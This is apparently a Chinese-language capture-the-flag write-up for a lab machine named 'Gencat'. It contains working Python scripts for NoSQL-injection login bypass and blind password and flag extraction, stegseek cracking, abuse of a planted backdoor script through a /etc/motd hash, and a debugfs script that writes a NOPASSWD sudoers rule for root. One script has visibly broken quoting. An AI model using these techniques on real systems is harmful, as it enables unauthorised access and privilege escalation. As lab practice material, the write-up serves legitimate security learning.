

Gencat

端口扫描

```
PORT      STATE  SERVICE REASON          VERSION
22/tcp    open  ssh      syn-ack ttl 64  OpenSSH 10.0 (protocol 2.0)
53/tcp    closed domain  reset ttl 64
80/tcp    open  http      syn-ack ttl 64  lighttpd 1.4.82
|_http-title: NexGen Systems | Developer Portal
|_http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: lighttpd/1.4.82
5000/tcp  open  http      syn-ack ttl 64  Werkzeug httpd 3.1.5 (Python 3.12.12)
|_http-title: 404 Not Found
|_http-server-header: Werkzeug/3.1.5 Python/3.12.12
27017/tcp open  mongodb  syn-ack ttl 63  MongoDB 4.4.6 4.1.1 - 5.0
|_mongodb-info:
|_ MongoDB Build info
|_   maxBsonObjectSize = 16777216
|_   bits = 64
|_   openssl
|_     running = OpenSSL 1.1.1 11 Sep 2018
|_     compiled = OpenSSL 1.1.1 11 Sep 2018
|_   ok = 1.0
|_   version = 4.4.6
|_   javascriptEngine = mozjs
|_   versionArray
|_     3 = 0
|_     0 = 4
|_     1 = 4
|_     2 = 6
|_   debug = false
|_   buildEnvironment
|_     ccflags = -fno-omit-frame-pointer -fno-strict-aliasing -fasynchronous-unwind-tables
-ggdb -pthread -Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-pch -Werror -O2 -Wno-
unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-const-
variable -Wno-unused-but-set-variable -Wno-missing-braces -fstack-protector-strong -fno-
builtin-memcmp
|_     cppdefines = SAFEINT_USE_INTRINSICS 0 PCRE_STATIC NDEBUG _XOPEN_SOURCE 700
_GNU_SOURCE _FORTIFY_SOURCE 2 BOOST_THREAD_VERSION 5 BOOST_THREAD_USES_DATETIME
BOOST_SYSTEM_NO_DEPRECATED BOOST_MATH_NO_LONG_DOUBLE_MATH_FUNCTIONS
BOOST_ENABLE_ASSERT_DEBUG_HANDLER BOOST_LOG_NO_SHORTHAND_NAMES BOOST_LOG_USE_NATIVE_SYSLOG
BOOST_LOG_WITHOUT_THREAD_ATTR ABSL_FORCE_ALIGNED_ACCESS
|_     cc = /opt/mongodbtchain/v3/bin/gcc: gcc (GCC) 8.3.0
|_     distarch = x86_64
|_     cxxflags = -Woverloaded-virtual -Wno-maybe-uninitialized -fsized-deallocation -
std=c++17
|_     linkflags = -pthread -Wl,-z,now -rdynamic -Wl,--fatal-warnings -fstack-protector-
strong -fuse-ld=gold -Wl,--no-threads -Wl,--build-id -Wl,--hash-style=gnu -Wl,-z,noexecstack
-Wl,--warn-execstack -Wl,-z,relro -Wl,-z,origin -Wl,--enable-new-dtags
|_     target_os = linux
|_     cxx = /opt/mongodbtchain/v3/bin/g++: g++ (GCC) 8.3.0
```

```

|     target_arch = x86_64
|     distmod = ubuntu1804
|     storageEngines
|       3 = wiredTiger
|       0 = biggie
|       1 = devnull
|       2 = ephemeralForTest
|     gitVersion = 72e66213c2c3eab37d9358d5e78ad7f5c1d0d0d7
|     modules
|     allocator = tcmalloc
|     sysInfo = deprecated
|   Server status
|     codeName = Unauthorized
|     ok = 0.0
|     code = 13
|_   errmsg = command serverStatus requires authentication
| mongodb-databases:
|   codeName = Unauthorized
|   ok = 0.0
|   code = 13
|_   errmsg = command listDatabases requires authentication
MAC Address: 08:00:27:B7:82:BF (Oracle VirtualBox virtual NIC)

```

27017是 `mongodb` ，先尝试枚举一下，发现没有权限

```

> show dbs
> show collections
Warning: unable to run listCollections, attempting to approximate collection names by
parsing connectionStatus
> db.runCommand({connectionStatus: 1})
{
  "authInfo" : {
    "authenticatedUsers" : [ ],
    "authenticatedUserRoles" : [ ]
  },
  "ok" : 1
}
> use admin
switched to db admin
> db.system.users.find().pretty()
Error: error: {
  "ok" : 0,
  "errmsg" : "command find requires authentication",
  "code" : 13,
  "codeName" : "Unauthorized"
}

```

80端口是接口文档，给了三个接口的格式，5000端口就是服务

v1 提示了支持基于对象的验证，可能是对 NoSQL注入 的提示，尝试 `{"username":"admin","password":{"$ne":null}}` ，发现返回了 `viewer` 的 `jwt` ，很奇怪，按理来说应该会给 `admin` 的 `jwt` 才对，而且当前的 `jwt` 拿去给其他接口，都是不行的

尝试进行布尔盲注获取 `admin` 的密码，获得凭证 `admin:P@ss_Str0ng_9821`

```
import requests
import string

# 目标 URL
url = "http://192.168.39.16:5000/api/v1/auth/login"
headers = {"Content-Type": "application/json"}

# 包含数字、字母和特殊字符
chars = string.ascii_letters + string.digits + "!@#%&*()_+=="
password = ""

print("[*] 正在开始爆破 admin 密码...")

while True:
    found_char = False
    for char in chars:
        # 对正则特殊字符进行转义
        test_char = char
        if char in ". * ? ^ $ % { } ( ) | \ [ ] \ \"":
            test_char = "\\" + char

        # 构造 Payload: 匹配以当前已知密码 + 下一个字符开头的字符串
        payload = {
            "username": "admin",
            "password": {"$regex": "^" + password + test_char}
        }

        try:
            response = requests.post(url, json=payload, headers=headers, timeout=5)
            # 如果返回结果包含 token, 说明匹配成功
            if "token" in response.text:
                password += char
                print(f"[+] 发现新字符! 当前密码: {password}")
                found_char = True
                break
        except Exception as e:
            print(f"[!] 请求出错: {e}")
            break

    if not found_char:
        print(f"[*] 爆破结束。最终密码为: {password}")
        break
```

这里卡了挺久的，因为后两个接口读的是 `Authorization: <JWT>`，不是 `Authorization: Bearer <JWT>`，搞得我以为真正鉴权的是 `uid` 不是 `role`

尝试利用 `v2` 对用户信息进行枚举，能找到系统中存在 3 个用户：`guest`、`operator`、`admin`，其 `uid` 分别为 `101`、`102`、`999`。密码也跑了一下，暂时没用上。其他的有效字段也没有枚举出来。

`v3` 我想的是要尝试一下命令执行，但是也没试出来，只能考虑看能不能读到题目里说的拼接的 `env_flag`，同样也是注入

获得凭证 `FLAG{cat:c4tc4tc4t}`

```
import requests
import string

BASE = "http://192.168.39.16:5000"
TOKEN =
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiI5OTkiLCJyb2x1IjoieYWRtaW4iLCJleHAiOjE3ZU0Nz
Y5MjB9.fTr3oIKDFPN-gp4ifz4RGkL_3uQPbJE3jVB32l8oaJg"
INVALID_ID = "0"
CHARSET = string.ascii_letters + string.digits + "_{-!@#$$%^&*().,:~"

def is_true(expr):
    payload = f'{{INVALID_ID}}' || ({expr}) || '1'=='2'
    r = requests.get(
        f'{{BASE}}/api/v3/system/diagnostic",
        params={"probe_id": payload},
        headers={"Authorization": TOKEN},
        timeout=8
    )
    return '"status":"Online"' in r.text

flag = ""
for _ in range(80):
    hit = False
    for ch in CHARSET:
        trial = flag + ch
        trial_esc = trial.replace("\\", "\\\\").replace("'", "\\'")
        if is_true(f'env_flag.startsWith('{trial_esc}')'):
            flag += ch
            hit = True
            print("[+]", flag)
            break
    if not hit:
        break

print("FINAL:", flag)
```

ssh 上来，发现 `cat` 弄了一大堆东西出来，很诡异，我一开始以为是 `user.txt` 有问题，结果 `tac` 是正常读出来的

研究了一下，发现其实是 `gencat`，而且也没什么路径，直到我看到了一个 `shamao.jpg`，元数据里还有一个 `base62`

跑了一下，有个字符串 `eKCy4MrdnDAuQwCR`，`base62` 解密就是 `d0ggd0ggd0gg`

获得凭证 `dog:d0ggd0ggd0gg`

```
stegseek shamao.jpg /usr/share/wordlists/rockyou.txt # Found passphrase: "Serialace"
```

上来以后发现能改 `/etc/motd`，之前 `linpeas` 扫的时候就发现在运行一个叫 `backdoor` 的什么进程

```
#!/bin/sh

TARGET_FILE="/etc/motd"
TARGET_HASH="5399e8634cc0be890edaf70a1c825c64"
EXPLOIT_TARGET="/etc/group"

{
    while true; do
        inotifywait -q -e close_write "$TARGET_FILE"
        CURRENT_HASH=$(md5sum "$TARGET_FILE" | awk '{print $1}')

        if [ "$CURRENT_HASH" = "$TARGET_HASH" ]; then
            chmod o+w "$EXPLOIT_TARGET"
        fi
    done
} &
```

我们需要修改这个 `/etc/motd`，如果改到对应的哈希，就能写组文件了

`cmd5` 查一下，发现是 `0e123456`，注意 `sudoedit` 编辑的时候会产生一个换行符，所以保存的时候要 `:set`
`noeol binary`

可以给组权限的话，让我想起来之前那个disk的靶机，[依旧好文章](#)

```
USER_NAME="cat"
RULE_FILE="give_${USER_NAME}_sudo"
RULE_PATH="/tmp/${RULE_FILE}"
TARGET_SUDOERS="/etc/sudoers.d/${RULE_FILE}"
BLOCK_DEV="/dev/sda3" # mount | grep 'on / '

echo "${USER_NAME} ALL=(ALL) NOPASSWD: ALL" > "${RULE_PATH}"

/usr/sbin/debugfs -w "${BLOCK_DEV}" <<EOF
write ${RULE_PATH} ${TARGET_SUDOERS}
sif ${TARGET_SUDOERS} i_mode 0100440
sif ${TARGET_SUDOERS} i_uid 0
sif ${TARGET_SUDOERS} i_gid 0
q
EOF
```

